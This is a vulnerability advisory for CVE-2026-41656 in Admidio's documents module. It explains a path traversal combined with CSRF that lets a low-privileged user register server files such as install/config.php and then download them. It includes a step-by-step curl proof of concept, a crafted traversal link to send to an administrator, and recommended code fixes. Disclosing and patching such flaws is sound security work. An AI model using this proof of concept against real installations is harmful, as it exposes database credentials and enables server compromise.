CVE-2026-41656

Description

## Summary The `add` mode in `modules/documents-files.php` accepts a `name` parameter validated only as `'string'` type (HTML encoding), allowing path traversal characters (`../`) to pass through unfiltered. Combined with the absence of CSRF protection on this endpoint and `SameSite=Lax` session cookies, a low-privileged attacker can trick a documents administrator into clicking a crafted link that registers an arbitrary server file (e.g., `install/config.php` containing database credentials) into a documents folder accessible to the attacker. ## Details **Root cause — incorrect input validation type (modules/documents-files.php:222):** ```php case 'add': $getName = admFuncVariableIsValid($_GET, 'name', 'string'); ``` The `'string'` type in `admFuncVariableIsValid()` only applies `SecurityUtils::encodeHTML(StringUtils::strStripTags($value))` (system/bootstrap/function.php:414-416). Since `../` contains no HTML special characters (`<`, `>`, `&`, `"`, `'`), path traversal sequences pass through unchanged. The correct type would be `'file'`, which calls `StringUtils::strIsValidFileName()` (src/Infrastructure/Utils/StringUtils.php:217-236). This function checks `basename($filename) !== $filename` at line 228, which would reject any path containing directory separators. **Missing CSRF protection (modules/documents-files.php:221-238):** ```php case 'add': $getName = admFuncVariableIsValid($_GET, 'name', 'string'); if (!$gCurrentUser->isAdministratorDocumentsFiles()) { throw new Exception('SYS_NO_RIGHTS'); } $folder = new Folder($gDb); $folder->readDataByUuid($getFolderUUID); $folder->addFolderOrFileToDatabase($getName); // ... ``` No `SecurityUtils::validateCsrfToken()` or form object validation. Compare with `folder_delete` (line 140) and `file_delete` (line 170) which both validate CSRF tokens. The `add` action operates entirely via GET parameters. **Unsafe path construction (src/Documents/Entity/Folder.php:121-135):** ```php public function addFolderOrFileToDatabase(string $newFolderFileName): void { $newFolderFileName = urldecode($newFolderFileName); $newObjectPath = $this->getFullFolderPath() . '/' . $newFolderFileName; // ... if (is_file($newObjectPath)) { $newFile = new File($this->db); $newFile->setValue('fil_fol_id', $folderId); $newFile->setValue('fil_name', $newFolderFileName); // traversal stored in DB // ... $newFile->save(); } } ``` No `realpath()` comparison or `basename()` check. The traversal filename (e.g., `../../../install/config.php`) is stored verbatim as `fil_name` in the database. **File served on download (src/Documents/Entity/File.php:88-91, src/Documents/Service/DocumentsService.php:68-119):** ```php // File.php:88-91 public function getFullFilePath(): string { return $this->getFullFolderPath() . '/' . $this->getValue('fil_name', 'database'); } // DocumentsService.php:75-118 $completePath = $file->getFullFilePath(); // reconstructs traversal path // ... readfile($completePath); // serves arbitrary file ``` **SameSite=Lax allows cross-site GET (src/Session/Entity/Session.php:544):** ```php 'samesite' => 'lax' ``` Top-level GET navigations from cross-site origins include the session cookie, enabling the CSRF attack vector. ## PoC **Prerequisites:** Attacker has a regular user account with access to the documents module. A documents administrator is available to be social-engineered. ```bash # Step 1: As regular user, browse the documents module to obtain a public folder UUID curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list' # Note a folder_uuid from the response, e.g., "550e8400-e29b-41d4-a716-446655440000" # Step 2: Craft a link targeting install/config.php (adjust ../ depth for folder nesting) # For a folder at adm_my_files/documents/Photos/, use three levels: PAYLOAD_URL='https://target.com/modules/documents-files.php?mode=add&folder_uuid=550e8400-e29b-41d4-a716-446655440000&name=../../../install/config.php' # Step 3: Send this link to a documents administrator (email, chat, etc.) # When the admin clicks it, the server's install/config.php is registered in the Photos folder # The admin sees a redirect back to the documents page (normal behavior) # Step 4: As attacker, list the folder to find the new file entry curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list&folder_uuid=550e8400-e29b-41d4-a716-446655440000' # The traversal file appears in the listing with its file_uuid # Step 5: Download the file using its UUID curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=download&file_uuid=<FILE_UUID>' # Response contains the contents of install/config.php, including: # $g_adm_srv (database host) # $g_adm_usr (database username) # $g_adm_pw (database password) # $g_adm_db (database name) ``` ## Impact - **Arbitrary server file read**: An attacker can read any file on the server that the web server process has read access to, including `install/config.php` (database credentials), `/etc/passwd`, application source code, and other configuration files. - **Database credential exposure**: The primary target `install/config.php` contains plaintext database credentials, enabling direct database access and full compromise of the Admidio installation. - **Low attack complexity**: The CSRF vector requires only that an admin clicks a single link — no JavaScript, no form submission, no special browser behavior. ## Recommended Fix **Fix 1 — Use `'file'` validation type for the `name` parameter (modules/documents-files.php:222):** ```php // Before (vulnerable): $getName = admFuncVariableIsValid($_GET, 'name', 'string'); // After (fixed): $getName = admFuncVariableIsValid($_GET, 'name', 'file'); ``` This invokes `StringUtils::strIsValidFileName()` which checks `basename($filename) !== $filename` and rejects any path containing directory traversal. **Fix 2 — Add CSRF protection to the `add` mode (modules/documents-files.php:221-238):** Change the `add` action from GET to POST and add CSRF token validation: ```php case 'add': SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $getName = admFuncVariableIsValid($_POST, 'name', 'file'); if (!$gCurrentUser->isAdministratorDocumentsFiles()) { throw new Exception('SYS_NO_RIGHTS'); } $folder = new Folder($gDb); $folder->readDataByUuid($getFolderUUID); $folder->addFolderOrFileToDatabase($getName); // ... ``` **Fix 3 (defense in depth) — Add path canonicalization in `addFolderOrFileToDatabase()` (src/Documents/Entity/Folder.php):** ```php public function addFolderOrFileToDatabase(string $newFolderFileName): void { $newFolderFileName = urldecode($newFolderFileName); $newObjectPath = $this->getFullFolderPath() . '/' . $newFolderFileName; // Ensure the resolved path is within the folder directory $realPath = realpath($newObjectPath); $folderPath = realpath($this->getFullFolderPath()); if ($realPath === false || !str_starts_with($realPath, $folderPath . '/')) { throw new Exception('SYS_FILENAME_INVALID'); } // ... rest of method } ``` All three fixes should be applied for defense in depth.